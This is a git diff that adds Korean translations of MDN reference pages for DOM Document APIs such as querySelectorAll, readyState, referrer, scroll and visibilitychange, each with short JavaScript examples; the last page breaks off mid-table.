+<h2 id="Notes" name="Notes">참고</h2> + +<p>만약 <code>selector</code>가 ID 선택자인데, 해당 ID를 잘못 사용하여 문서 내에 여러 번 사용했으면 첫 번째로 그 ID를 사용한 요소를 반환합니다.</p> + +<p><a href="/ko/docs/Web/CSS/Pseudo-elements">CSS 의사 요소</a>는 <a href="http://www.w3.org/TR/selectors-api/#grammar">선택자 API</a>가 명시한 대로 어떠한 요소도 반환하지 않습니다.</p> + +<h3 id="특수_문자_이스케이프">특수 문자 이스케이프</h3> + +<p>CSS 구문을 따르지 않는, 예컨대 콜론이나 공백을 포함한 선택자나 ID를 사용해야 하면 반드시 백슬래시("<code>\</code>")를 사용해 해당 문자를 이스케이프해야 합니다. 백슬래시는 JavaScript의 이스케이프 문자이기 때문에, 백슬래시를 문자로 입력하려면 반드시 두 번 이스케이프해야 합니다. 한 번은 JavaScript 문자열에 필요하고, 또 다른 한 번은 <code>querySelector()</code>에 필요합니다.</p> + +<pre class="brush: html"><div id="foo\bar"></div> +<div id="foo:bar"></div> + +<script> + console.log('#foo\bar') // "#fooar" ('\b'는 백스페이스 컨트롤 문자) + document.querySelector('#foo\bar') // 일치하는 요소 없음 + + console.log('#foo\\bar') // "#foo\bar" + console.log('#foo\\\\bar') // "#foo\\bar" + document.querySelector('#foo\\bar') // 첫 번째 <div> + + document.querySelector('#foo:bar') // 일치하는 요소 없음 + document.querySelector('#foo\\:bar') // 두 번째 <div> +</script> +</pre> + +<h2 id="Examples" name="Examples">예제</h2> + +<h3 id="클래스를_만족하는_첫_번째_요소_검색">클래스를 만족하는 첫 번째 요소 검색</h3> + +<p>아래 예제는 문서에서 "<code>myclass</code>"라는 클래스를 사용하는 첫 번째 요소를 반환합니다.</p> + +<pre class="brush: js">var el = document.querySelector(".myclass"); +</pre> + +<h3 id="좀_더_복잡한_선택자">좀 더 복잡한 선택자</h3> + +<p>아래 예제처럼 정말 강력한 선택자도 사용할 수 있습니다. 예제의 결과는 클래스가 "<code>user-panel main</code>"인 {{HTMLElement("div")}}(<code><div class="user-panel main"></code>) 안의, 이름이 "<code>login</code>"인 {{HTMLElement("input")}} 중 첫 번째 요소입니다.</p> + +<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name=login]"); +</pre> + +<h2 id="Specifications" name="Specifications">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">비고</th> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 2")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2> + + + +<div>{{Compat("api.Document.querySelector")}}</div> + +<h2 id="See_also" name="See_also">더 보기</h2> + +<ul> + <li><a href="/ko/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">선택자로 DOM 요소 선택하기</a></li> + <li>{{domxref("element.querySelector()")}}</li> + <li>{{domxref("document.querySelectorAll()")}}</li> + <li>{{domxref("element.querySelectorAll()")}}</li> +</ul> diff --git a/files/ko/web/api/document/queryselectorall/index.html b/files/ko/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..2beb50a1cf --- /dev/null +++ b/files/ko/web/api/document/queryselectorall/index.html @@ -0,0 +1,180 @@ +--- +title: Document.querySelectorAll() +slug: Web/API/Document/querySelectorAll +tags: + - API + - CSS 셀렉터 + - DOM + - querySelectorAll + - 다큐먼트 + - 레퍼런스 + - 메소드 + - 셀렉터 + - 엘리먼트 셀렉팅 + - 엘리먼트 찾기 + - 엘리먼트 탐색 +translation_of: Web/API/Document/querySelectorAll +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} 메소드 <code><strong>querySelectorAll()</strong></code> 는 지정된 셀렉터 그룹에 일치하는 다큐먼트의 엘리먼트 리스트를 나타내는 정적(살아 있지 않은) {{domxref("NodeList")}} 를 반환합니다.</p> + +<div class="note"> +<p><strong>노트:</strong> 이 메소드는 {{domxref("ParentNode")}} 믹스인의 {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} 메소드를 기반으로 구현되었습니다.</p> +</div> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox"><var>elementList</var> = <em>parentNode</em>.querySelectorAll(<var>selectors</var>); +</pre> + +<h3 id="파라미터">파라미터</h3> + +<dl> + <dt><code>selectors</code></dt> + <dd>매칭할 하나 이상의 셀렉터를 포함하는 {{domxref("DOMString")}}. 이 스트링은 반드시 유효한 <a href="/ko/docs/Web/CSS/CSS_Selectors">CSS 셀렉터</a>여야 합니다; 그렇지 않을 경우, <code>SyntaxError</code> 예외가 발생합니다. 엘리먼트 식별을 위한 셀렉터 사용의 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Gecko_DOM_Reference/Locating_DOM_elements_using_selectors">셀렉터로 DOM 엘리먼트 찾기</a> 문서를 확인하세요. 콤마를 사용해 분리하여 다중 셀렉터를 지정할수도 있습니다.</dd> +</dl> + +<div class="note"> +<p><strong>노트:</strong> 표준 CSS 구문이 아닌 문자들은 역슬래시를 사용해 이스케이프해야 합니다. 자바스크립트가 역슬래시 이스케이핑을 사용한 이후로, 그러한 문자들을 사용하는 문자열 리터럴을 작성할 때 특별히 신경써야 합니다. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String#%EC%9D%B4%EC%8A%A4%EC%BC%80%EC%9D%B4%ED%94%84_%ED%91%9C%ED%98%84">이스케이프 표현</a>을 확인하세요.</p> +</div> + +<h3 id="반환_값">반환 값</h3> + +<p>지정한 셀렉터와 하나라도 일치하는 각 엘리먼트에 대한 하나의 {{domxref("Element")}} 를 포함하는 살아 있지 않은 {{domxref("NodeList")}}. 일치하는 것이 없는 경우에는 비어 있는 {{domxref("NodeList")}}.</p> + +<div class="note"> +<p><strong>노트:</strong> 지정한 <code>selectors</code> 가 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Pseudo-elements">CSS 가상 엘리먼트</a>를 포함하면, 반환 리스트는 항상 비어있습니다.</p> +</div> + +<h3 id="예외">예외</h3> + +<dl> + <dt><code>SyntaxError</code></dt> + <dd>지정한 <code>selectors</code> 문자열의 구문이 유효하지 않습니다.</dd> +</dl> + +<h2 id="예시">예시</h2> + +<h3 id="일치하는_리스트_얻기">일치하는 리스트 얻기</h3> + +<p>다큐먼트에서 모든 {{HTMLElement("p")}} 엘리먼트의 {{domxref("NodeList")}} 를 얻으려면:</p> + +<pre class="brush: js">var matches = document.querySelectorAll("p");</pre> + +<p>이 예시는 다큐먼트 내의 클래스가 "<code>note</code>" 또는 "<code>alert</code>" 인 모든 {{HTMLElement("div")}} 엘리먼트의 목록을 반환합니다.</p> + +<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert"); +</pre> + +<p>여기에서는, ID 가 <code>"test"</code> 인 컨테이너안에 위치하고 부모 엘리먼트가 {{domxref("div")}} 엘리먼트이며 클래스가 <code>"highlighted"</code> 인 <code><p></code> 엘리먼트의 리스트를 얻습니다.</p> + +<pre class="brush: js">var container = document.querySelector("#test"); +var matches = container.querySelectorAll("div.highlighted > p");</pre> + +<p>이 예시는 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors">속성 셀렉터</a>를 사용해 다큐먼트에서 <code>"data-src"</code> 속성을 포함하는 {{domxref("iframe")}} 엘리먼트의 리스트를 반환합니다:</p> + +<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre> + +<p>여기에서는, ID 가 <code>"userlist"</code> 인 리스트 내에서 <code>"data-active"</code> 속성 값이 <code>"1"</code> 인 리스트 항목의 목록을 반환하는데 속성 셀렉터가 사용되었습니다:</p> + +<pre class="brush: js">var container = document.querySelector("#userlist"); +var matches = container.querySelectorAll("li[data-active='1']");</pre> + +<h3 id="일치_항목에_접근하기">일치 항목에 접근하기</h3> + +<p>일치하는 항목의 {{domxref("NodeList")}} 가 반환되면, 배열처럼 확인하실 수 있습니다. 배열이 비어있다면(<code>length</code> 프로퍼티가 0), 일치한 것을 발견하지 못한 것입니다.</p> + +<p>다른 방법으로, 리스트의 컨텐츠에 접근하기위한 표준 배열 노테이션을 사용하실수도 있습니다. 다음과 같이 일반적인 모든 반복문을 사용하실 수 있습니다:</p> + +<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted"); + +highlightedItems.forEach(function(userItem) { + deleteUser(userItem); +});</pre> + +<h2 id="사용자_노트">사용자 노트</h2> + +<p><code>querySelectorAll()</code> 은 대부분의 일반적인 자바스크립트 DOM 라이브러리와 다르게 동작하여 예상치못한 결과를 가져올 수 있습니다.</p> + +<h3 id="HTML">HTML</h3> + +<p>세 번 중첩된 {{HTMLElement("div")}} 블록을 갖는 다음 HTML 을 고려해봅시다.</p> + +<pre class="brush: html"><div class="outer"> + <div class="select"> + <div class="inner"> + </div> + </div> +</div></pre> + +<h3 id="자바스크립트">자바스크립트</h3> + +<pre class="brush: js">var select = document.querySelector('.select'); +var inner = select.querySelectorAll('.outer .inner'); +inner.length; // 1 입니다. 0 이 아닙니다! +</pre> + +<p>클래스 <code>"select"</code> 를 갖는 <code><div></code> 컨텍스트에서 <code>".outer .inner"</code> 를 셀렉팅할 때, .outer 가 탐색을 수행하는 기본 엘리먼트(<code>".select"</code>)의 자손이 아님에도 클래스 <code>".inner"</code> 가 탐색됩니다. 기본적으로 <code>querySelectorAll()</code> 은 탐색 범위 내에서 셀렉터의 마지막 엘리먼트만을 검증합니다.</p> + +<p>{{cssxref(":scope")}} 가상 클래스는 예상된 동작을하도록 하지만, 베이스 엘리먼트의 자손에 일치하는 셀렉터로만 제한됩니다:</p> + +<pre class="brush: js">var select = document.querySelector('.select'); +var inner = select.querySelectorAll(':scope .outer .inner'); +inner.length; // 0 +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">명세</th> + <th scope="col">상태</th> + <th scope="col">코멘트</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>표준</td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("Selectors API Level 2")}}</td> + <td>변동 없음</td> + </tr> + <tr> + <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> + <td>{{Spec2("DOM4")}}</td> + <td>초기 정의</td> + </tr> + <tr> + <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> + <td>{{Spec2("Selectors API Level 1")}}</td> + <td>기존 정의</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<div> + + +<p>{{Compat("api.Document.querySelectorAll")}}</p> +</div> + +<h2 id="함께_보기">함께 보기</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">셀렉터를 사용해 DOM 엘리먼트 찾기</a></li> + <li>CSS 가이드의 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors">속성 셀렉터</a></li> + <li>MDN 학습 영역의 <a href="https://developer.mozilla.org/ko/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">속성 셀렉터</a></li> + <li>{{domxref("Element.querySelector()")}} 와 {{domxref("Element.querySelectorAll()")}}</li> + <li>{{domxref("Document.querySelector()")}}</li> + <li>{{domxref("DocumentFragment.querySelector()")}} 와 {{domxref("DocumentFragment.querySelectorAll()")}}</li> + <li>{{domxref("ParentNode.querySelector()")}} 와 {{domxref("ParentNode.querySelectorAll()")}}</li> + <li><a href="https://developer.mozilla.org/ko/docs/Archive/Add-ons/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector"><code>querySelector()</code> 코드 조각</a></li> +</ul> diff --git a/files/ko/web/api/document/readystate/index.html b/files/ko/web/api/document/readystate/index.html new file mode 100644 index 0000000000..08384c6174 --- /dev/null +++ b/files/ko/web/api/document/readystate/index.html @@ -0,0 +1,125 @@ +--- +title: Document.readyState +slug: Web/API/Document/readyState +translation_of: Web/API/Document/readyState +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}</div> + +<p><strong><code>Document.readyState</code></strong> 속성을 통해 {{domxref("document")}}의 로딩 상태를 확인할 수 있다.</p> + +<p>Document.readyState 속성 값이 바뀔 때 {{event("readystatechange")}} 이벤트가 {{domxref("document")}}에서 일어난다.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">var <var>string</var> = <var>document</var>.readyState; +</pre> + +<h3 id="Values">Values</h3> + +<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">document의 </span></font>readyState</code> 상태는 아래 3가지가 될 수 있다.</p> + +<dl> + <dt><code>loading</code></dt> + <dd> {{domxref("document")}} 로딩 중.</dd> + <dt><code>interactive</code></dt> + <dd>문서의 로딩은 끝이 나고 해석 중 이지만 images, stylesheets, frames과 같은 하위 자원들은 로딩되고 있는 상태이다.</dd> + <dt><code>complete</code></dt> + <dd>문서와 모든 하위 자원들의 로드가 완료된 상태이다. 이 상태는 {{event("load")}} 이벤트가 발생되기 직전 상태이다.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Different_states_of_readiness">Different states of readiness</h3> + +<pre class="brush: js">switch (document.readyState) { + case "loading": + // The document is still loading. + break; + case "interactive": + // The document has finished loading. We can now access the DOM elements. + // But sub-resources such as images, stylesheets and frames are still loading. + var span = document.createElement("span"); + span.textContent = "A <span> element."; + document.body.appendChild(span); + break; + case "complete": + // The page is fully loaded. + console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText); + break; +} +</pre> + +<h3 id="readystatechange_as_an_alternative_to_DOMContentLoaded_event">readystatechange as an alternative to DOMContentLoaded event</h3> + +<pre class="brush: js">// Alternative to DOMContentLoaded event +document.onreadystatechange = function () { + if (document.readyState === 'interactive') { + initApplication(); + } +} +</pre> + +<h3 id="readystatechange_as_an_alternative_to_load_event">readystatechange as an alternative to load event</h3> + +<pre class="brush: js">// Alternative to load event +document.onreadystatechange = function () { + if (document.readyState === 'complete') { + initApplication(); + } +}</pre> + +<h3 id="readystatechange_as_event_listener_to_insert_or_modify_the_DOM_before_DOMContentLoaded">readystatechange as event listener to insert or modify the DOM before DOMContentLoaded</h3> + +<pre class="brush: js">document.addEventListener('readystatechange', event => { + if (event.target.readyState === 'interactive') { + initLoader(); + } + else if (event.target.readyState === 'complete') { + initApp(); + } +}); + +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="spectable standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Initial specification.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<div>{{Compat("api.Document.readyState")}}</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{event("readystatechange")}} event</li> + <li>{{event("DOMContentLoaded")}} event</li> + <li>{{event("load")}} event</li> +</ul> diff --git a/files/ko/web/api/document/readystatechange_event/index.html b/files/ko/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..3286bb4727 --- /dev/null +++ b/files/ko/web/api/document/readystatechange_event/index.html @@ -0,0 +1,139 @@ +--- +title: 'Document: readystatechange event' +slug: Web/API/Document/readystatechange_event +translation_of: Web/API/Document/readystatechange_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>readystatechange</code></strong> 이벤트는 현재 페이지의 {{domxref("Document.readyState", "readyState")}} 속성값이 변할 때 발생한다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Bubbles</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Cancelable</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Interface</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">Event handler property</th> + <td><code>onreadystatechange</code></td> + </tr> + </tbody> +</table> + +<h2 id="Examples">Examples</h2> + +<h3 id="Live_example">Live example</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><div class="controls"> + <button id="reload" type="button">Reload</button> +</div> + +<div class="event-log"> + <label>Event log:</label> + <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> +</div></pre> + +<div class="hidden"> +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">body { + display: grid; + grid-template-areas: "control log"; +} + +.controls { + grid-area: control; + display: flex; + align-items: center; + justify-content: center; +} + +.event-log { + grid-area: log; +} + +.event-log-contents { + resize: none; +} + +label, button { + display: block; +} + +#reload { + height: 2rem; +} + +</pre> +</div> + +<h4 id="JS">JS</h4> + +<pre class="brush: js">const log = document.querySelector('.event-log-contents'); +const reload = document.querySelector('#reload'); + +reload.addEventListener('click', () => { + log.textContent =''; + window.setTimeout(() => { + window.location.reload(true); + }, 200); +}); + +window.addEventListener('load', (event) => { + log.textContent = log.textContent + 'load\n'; +}); + +document.addEventListener('readystatechange', (event) => { + log.textContent = log.textContent + `readystate: ${document.readyState}\n`; +}); + +document.addEventListener('DOMContentLoaded', (event) => { + log.textContent = log.textContent + `DOMContentLoaded\n`; +}); + +</pre> + +<h4 id="Result">Result</h4> + +<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.readystatechange_event")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Related events: <code><a href="/en-US/docs/Web/API/Document/DOMContentLoaded_event">DOMContentLoaded</a></code>, <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, <code><a href="/en-US/docs/Web/API/Window/beforeunload_event">beforeunload</a></code>, <code><a href="/en-US/docs/Web/API/Window/unload_event">unload</a></code></li> +</ul> diff --git a/files/ko/web/api/document/referrer/index.html b/files/ko/web/api/document/referrer/index.html new file mode 100644 index 0000000000..547eaf2993 --- /dev/null +++ b/files/ko/web/api/document/referrer/index.html @@ -0,0 +1,23 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +translation_of: Web/API/Document/referrer +--- +<div>{{APIRef("DOM")}}</div> + +<div>링크를 통해 현재 페이지로 이동 시킨, 전 페이지의 URI 정보를 반환.</div> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><var>string</var> = document.referrer; +</pre> + +<h2 id="Notes" name="Notes">Notes</h2> + +<p>페이지로 바로 접근하였을 경우 이 값은 빈 문자열을 반환함.(링크를 통해서 온것이 아닌, 예를 들면, 북마크를 통해서 이동했을 경우). 문자열만을 반환하기 때문에, 참조 페이지(referring page)에 대한 DOM 액세스가 제공되지 않음. </p> + +<h2 id="Specification" name="Specification">Specification</h2> + +<ul> + <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95229140">DOM Level 2: referrer</a></li> +</ul> diff --git a/files/ko/web/api/document/scroll_event/index.html b/files/ko/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..6552fbf6f2 --- /dev/null +++ b/files/ko/web/api/document/scroll_event/index.html @@ -0,0 +1,141 @@ +--- +title: scroll +slug: Web/API/Document/scroll_event +tags: + - DOM + - Event + - Event Handler + - Reference + - 레퍼런스 + - 이벤트 + - 이벤트핸들링 +translation_of: Web/API/Document/scroll_event +--- +<p>document view 나 element가 스크롤 될 때, <strong><code>scroll</code></strong> 이벤트가 발생합니다.</p> + +<h2 id="개요">개요</h2> + +<table class="properties"> + <thead> + </thead> + <tbody> + <tr> + <th>인터페이스</th> + <td>{{domxref("UIEvent")}}</td> + </tr> + <tr> + <th>버블</th> + <td>element에는 없지만, document에서 실행될 때 버블링이 발생합니다.</td> + </tr> + <tr> + <th>취소가능여부</th> + <td>불가</td> + </tr> + <tr> + <th>타겟</th> + <td>DefaultView, {{domxref("Document")}}, {{domxref("Element")}}</td> + </tr> + <tr> + <th>기본 액션</th> + <td>없음</td> + </tr> + </tbody> +</table> + +<h2 id="속성">속성</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">속성</th> + <th scope="col">타입</th> + <th scope="col">설명</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>{{domxref("EventTarget")}}</td> + <td>이벤트 대상 (DOM 트리의 최상위 타겟)</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>{{domxref("DOMString")}}</td> + <td>이벤트의 타입</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>{{domxref("Boolean")}}</td> + <td>이벤트가 버블이 되는지</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>{{domxref("Boolean")}}</td> + <td>이벤트 취소가 가능한지</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td>{{domxref("WindowProxy")}}</td> + <td>{{domxref("Document.defaultView")}} (document의 <code>window</code>)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td><code>0</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="예제">예제</h2> + +<h3 id="스크롤_이벤트의_조절">스크롤 이벤트의 조절</h3> + +<p><code>scroll </code>이벤트가 빠른 속도로 실행될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같이 느린 작업을 실행하지 말아야 합니다. 대신, 다음을 사용하여 이벤트를 제한하는 것을 권장합니다.<br> + {{domxref("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{domxref("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}}, 혹은, {{domxref("CustomEvent")}}</p> + +<p>그러나 입력 이벤트와 애니메이션 프레임은 거의 동일한 속도로 실행되므로 아래 최적화는 종종 불필요합니다. 다음은 <code>requestAnimationFrame</code>에 대한 <code>scroll</code>이벤트를 최적화하는 예제입니다.</p> + +<pre class="brush: js">// 참조: http://www.html5rocks.com/en/tutorials/speed/animations/ + +let last_known_scroll_position = 0; +let ticking = false; + +function doSomething(scroll_pos) { + // scroll 위치에 대한 작업을 하세요 +} + +window.addEventListener('scroll', function(e) { + last_known_scroll_position = window.scrollY; + + if (!ticking) { + window.requestAnimationFrame(function() { + doSomething(last_known_scroll_position); + ticking = false; + }); + + ticking = true; + } +});</pre> + +<h3 id="추가_예제">추가 예제</h3> + +<p>더 보려면, {{Event("resize")}} 이벤트 페이지에 비슷한 예제가 있습니다.</p> + +<h2 id="사양">사양</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a></li> + <li><a href="http://www.w3.org/TR/cssom-view/#scrolling-0">CSSOM View</a></li> +</ul> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<h3 id="iOS_UIWebView">iOS UIWebView</h3> + +<p>iOS UIWebViews에서, 스크롤 중에는 <code>scroll</code> 발생하지 않습니다. 스크롤이 끝났을 때, 발생됩니다. <a href="https://github.com/twbs/bootstrap/issues/16202">Bootstrap issue #16202</a>를 참고하세요. 사파리와 WKWebViews에서는 이 문제가 발생하지 않습니다.</p> + +<h2 id="같이보기">같이보기</h2> + +<ul> + <li>{{domxref("GlobalEventHandlers.onscroll")}}</li> +</ul> diff --git a/files/ko/web/api/document/stylesheetsets/index.html b/files/ko/web/api/document/stylesheetsets/index.html new file mode 100644 index 0000000000..b69b728e89 --- /dev/null +++ b/files/ko/web/api/document/stylesheetsets/index.html @@ -0,0 +1,59 @@ +--- +title: Document.styleSheetSets +slug: Web/API/Document/styleSheetSets +tags: + - API + - CSSOM + - DOM + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/styleSheetSets +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}</div> + +<p><code><strong>styleSheetSets</strong></code>의 읽기 전용 속성은 현재 사용 가능한 모든 스타일 시트 세트의 live 리스트를 반환합니다.</p> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox notranslate">var <var>sets</var> = <var>document</var>.styleSheetSets; +</pre> + +<p> 반환시, <code>sets</code>는 사용할 수 있는 스타일 시트 세트의 리스트.</p> + +<h2 id="예시">예시</h2> + +<p>ID가 "sheetList"인 {{HTMLElement("ul")}} (list) 요소가 주어지면, 사용 가능한 모든 스타일 시트 세트의 이름으로 아래와 같은 코드로 채울 수 있습니다.</p> + +<pre class="brush:js notranslate">let list = document.getElementById('sheetList'); +let sheets = document.styleSheetSets; + +list.innerHTML = ''; + +for (let i = 0; i < sheets.length; i++) { + let item = document.createElement('li'); + + item.innerHTML = sheets[i]; + list.appendChild(item); +}</pre> + +<h2 id="Notes">Notes</h2> + +<p>사용 가능한 스타일 시트 세트 리스트는 문서에 사용 가능한 모든 스타일 시트를 열거하여 구성되고, {{domxref("document.styleSheets")}} 속성에 나열된 순서대로, 리스트에 제목을 가진 각각의 스타일 시트 <code>title</code>을 추가합니다. 중복 항목이 리스트에서 삭제됨. (대소문자 구분 비교 사용).</p> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + + + +<p>{{Compat("api.Document.styleSheetSets")}}</p> + +<h2 id="더보기">더보기</h2> + +<ul> + <li>{{domxref("Stylesheet")}}</li> + <li>{{domxref("document.styleSheets")}}</li> + <li>{{domxref("document.lastStyleSheetSet")}}</li> + <li>{{domxref("document.preferredStyleSheetSet")}}</li> + <li>{{domxref("document.selectedStyleSheetSet")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> +</ul> diff --git a/files/ko/web/api/document/url/index.html b/files/ko/web/api/document/url/index.html new file mode 100644 index 0000000000..527d754ddf --- /dev/null +++ b/files/ko/web/api/document/url/index.html @@ -0,0 +1,69 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/URL +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} 인터페이스의 <code><strong>URL</strong></code> 읽기 전용 속성은 문서의 주소를 문자열로 반환합니다.</p> + +<h2 id="예제">예제</h2> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">document.getElementById("url").textContent = document.URL;</pre> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p id="urlText"> + URL:<br/> + <span id="url">URL이 여기 보입니다</span> +</p></pre> + +<h3 id="결과">결과</h3> + +<p>{{EmbedLiveSample("예제", "100%", 100)}}</p> + +<h2 id="명세">명세</h2> + +<table class="spectable standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.</td> + </tr> + <tr> + <td>{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}</td> + <td>{{Spec2("DOM1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<div> + + +<p>{{Compat("api.Document.URL")}}</p> +</div> + +<h2 id="같이_보기">같이 보기</h2> + +<ul> + <li>{{domxref("HTMLDocument")}}</li> +</ul> diff --git a/files/ko/web/api/document/visibilitychange_event/index.html b/files/ko/web/api/document/visibilitychange_event/index.html new file mode 100644 index 0000000000..d15b1d3d38 --- /dev/null +++ b/files/ko/web/api/document/visibilitychange_event/index.html @@ -0,0 +1,72 @@ +--- +title: visibilitychange +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Event + - Reference + - Web +translation_of: Web/API/Document/visibilitychange_event +--- +<div>{{APIRef}}</div> + +<p><code>visibilitychange</code> 이벤트는 브라우저 탭의 컨텐츠가 visible 또는 hidden 상태로 변화할 때 발생된다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Cancelable</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Interface</th> + <td>{{domxref("event")}}</td> + </tr> + <tr> + <th scope="row">Event handler property</th> + <td>{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}</td> + </tr> + </tbody> +</table> + +<h2 id="예제">예제</h2> + +<pre class="brush:js;">document.addEventListener("visibilitychange", function() { + console.log( document.visibilityState ); +}); +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th 